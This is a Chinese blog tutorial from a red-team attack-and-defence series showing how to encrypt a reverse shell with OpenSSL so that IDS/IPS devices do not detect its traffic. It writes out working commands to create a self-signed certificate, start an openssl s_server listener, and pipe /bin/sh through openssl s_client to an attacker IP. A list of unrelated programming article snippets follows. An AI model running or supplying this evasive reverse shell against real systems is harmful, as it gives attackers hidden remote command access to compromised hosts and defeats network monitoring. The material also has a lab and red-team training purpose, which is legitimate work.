《红蓝攻防对抗实战》八.利用OpenSSL对反弹shell流量进行加密

2023-10-25 10:36

本文主要是介绍《红蓝攻防对抗实战》八.利用OpenSSL对反弹shell流量进行加密,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

  前文推荐:

  • 《红蓝攻防对抗实战》一. 隧道穿透技术详解
  • 《红蓝攻防对抗实战》二.内网探测协议出网之TCP/UDP协议探测出网
  • 《红蓝攻防对抗实战》三.内网探测协议出网之HTTP/HTTPS协议探测出网
  • 《红蓝攻防对抗实战》四.内网探测协议出网之ICMP协议探测出网
  • 《红蓝攻防对抗实战》五.内网探测协议出网之DNS协议探测出网
  • 《红蓝攻防对抗实战》六.常规反弹之利用NC在windows系统执行反弹shell
  • 《红蓝攻防对抗实战》七.常规反弹之利用NC在Linux系统执行反弹shell

在实战攻防对抗中,使用常规反弹shell会有一个缺点,那就是所有通过shell传输的流量都是以明文的方式发送的,可以被安全防护设备(如IDS、IPS等)获取到通信传输的数据内容,会导致被触发告警拦截,红队人员会使用一种加密的反弹shell方式,对传输的数据内容进行混淆加密,这里我们使用OpenSSL来进行加密反弹shell,本次实验环境如图1-1所示。

图1-1  OpenSSL 反弹shell实验拓扑图

1)首先在使用OpenSSL反弹shell之前,需要对攻击机进行配置,手动执行openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes命令生成自签名证书,其OpenSSL使用参数如表1-1所示,在生成自签名证书过程中,会提示输入证书信息,在证书信息方面可以直接按回车键不进行设置,如图1-2所示,最后会生成cert.pem和key.pem这两个文件。

表1-1 常见使用参数

参数

作用

-new

表示生成一个新的证书签署要求

-x509

专用于生成CA自签证书

 -key

指定生成证书用到的私钥文件

-out FILNAME

指定生成的证书的保存路径

-days

指定证书的有效期限,单位为day,默认是365天

-notes

生成的私钥文件不会被加密

图1-2 攻击机生成自签名证书

2)当攻击机生成自签名证书后,执行openssl s_server -quiet -key key.pem -cert cert.pem -port 8888命令,使OpenSSL监听本地攻击机的8888端口,来启动一个SSL/TLS server服务。如图1-3所示。

图1-3攻击机开启监听

3)当攻击机开启监听后,在目标服务器进行反弹 shell 操作,执行mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.2:8888 > /tmp/s; rm /tmp/s命令,即可将目标服务器的shell反弹到攻击机上,如图1-4所示

图1-4 目标服务器执行反弹shell命令

4)执行成功后,对接收到的反弹shell使用ifconfig命令测试,如图1-5所示,可以查看到输出的IP地址为目标服务器的IP。此时我们已经通过加密反弹的方式获取到了目标服务器的shell权限。

图1-5 攻击机获取反弹shell

这篇关于《红蓝攻防对抗实战》八.利用OpenSSL对反弹shell流量进行加密的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/281980

相关文章

网页解析 lxml 库--实战

lxml库使用流程 lxml 是 Python 的第三方解析库,完全使用 Python 语言编写,它对 XPath表达式提供了良好的支 持,因此能够了高效地解析 HTML/XML 文档。本节讲解如何通过 lxml 库解析 HTML 文档。 pip install lxml lxm| 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档,下面来介绍一下 lxml 库

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置

【Prometheus】PromQL向量匹配实现不同标签的向量数据进行运算

✨✨ 欢迎大家来到景天科技苑✨✨ 🎈🎈 养成好习惯,先赞后看哦~🎈🎈 🏆 作者简介:景天科技苑 🏆《头衔》:大厂架构师,华为云开发者社区专家博主,阿里云开发者社区专家博主,CSDN全栈领域优质创作者,掘金优秀博主,51CTO博客专家等。 🏆《博客》:Python全栈,前后端开发,小程序开发,人工智能,js逆向,App逆向,网络系统安全,数据分析,Django,fastapi

C#实战|大乐透选号器[6]:实现实时显示已选择的红蓝球数量

哈喽,你好啊,我是雷工。 关于大乐透选号器在前面已经记录了5篇笔记,这是第6篇; 接下来实现实时显示当前选中红球数量,蓝球数量; 以下为练习笔记。 01 效果演示 当选择和取消选择红球或蓝球时,在对应的位置显示实时已选择的红球、蓝球的数量; 02 标签名称 分别设置Label标签名称为:lblRedCount、lblBlueCount

业务中14个需要进行A/B测试的时刻[信息图]

在本指南中,我们将全面了解有关 A/B测试 的所有内容。 我们将介绍不同类型的A/B测试,如何有效地规划和启动测试,如何评估测试是否成功,您应该关注哪些指标,多年来我们发现的常见错误等等。 什么是A/B测试? A/B测试(有时称为“分割测试”)是一种实验类型,其中您创建两种或多种内容变体——如登录页面、电子邮件或广告——并将它们显示给不同的受众群体,以查看哪一种效果最好。 本质上,A/B测

滚雪球学Java(87):Java事务处理:JDBC的ACID属性与实战技巧!真有两下子!

咦咦咦,各位小可爱,我是你们的好伙伴——bug菌,今天又来给大家普及Java SE啦,别躲起来啊,听我讲干货还不快点赞,赞多了我就有动力讲得更嗨啦!所以呀,养成先点赞后阅读的好习惯,别被干货淹没了哦~ 🏆本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,助你一臂之力,带你早日登顶🚀,欢迎大家关注&&收藏!持续更新中,up!up!up!! 环境说明:Windows 10

poj 2135 有流量限制的最小费用最大流

题意: 农场里有n块地,其中约翰的家在1号地,二n号地有个很大的仓库。 农场有M条道路(双向),道路i连接着ai号地和bi号地,长度为ci。 约翰希望按照从家里出发,经过若干块地后到达仓库,然后再返回家中的顺序带朋友参观。 如果要求往返不能经过同一条路两次,求参观路线总长度的最小值。 解析: 如果只考虑去或者回的情况,问题只不过是无向图中两点之间的最短路问题。 但是现在要去要回

poj 3422 有流量限制的最小费用流 反用求最大 + 拆点

题意: 给一个n*n(50 * 50) 的数字迷宫,从左上点开始走,走到右下点。 每次只能往右移一格,或者往下移一格。 每个格子,第一次到达时可以获得格子对应的数字作为奖励,再次到达则没有奖励。 问走k次这个迷宫,最大能获得多少奖励。 解析: 拆点,拿样例来说明: 3 2 1 2 3 0 2 1 1 4 2 3*3的数字迷宫,走两次最大能获得多少奖励。 将每个点拆成两个

poj 2195 bfs+有流量限制的最小费用流

题意: 给一张n * m(100 * 100)的图,图中” . " 代表空地, “ M ” 代表人, “ H ” 代表家。 现在,要你安排每个人从他所在的地方移动到家里,每移动一格的消耗是1,求最小的消耗。 人可以移动到家的那一格但是不进去。 解析: 先用bfs搞出每个M与每个H的距离。 然后就是网络流的建图过程了,先抽象出源点s和汇点t。 令源点与每个人相连,容量为1,费用为

poj 3068 有流量限制的最小费用网络流

题意: m条有向边连接了n个仓库,每条边都有一定费用。 将两种危险品从0运到n-1,除了起点和终点外,危险品不能放在一起,也不能走相同的路径。 求最小的费用是多少。 解析: 抽象出一个源点s一个汇点t,源点与0相连,费用为0,容量为2。 汇点与n - 1相连,费用为0,容量为2。 每条边之间也相连,费用为每条边的费用,容量为1。 建图完毕之后,求一条流量为2的最小费用流就行了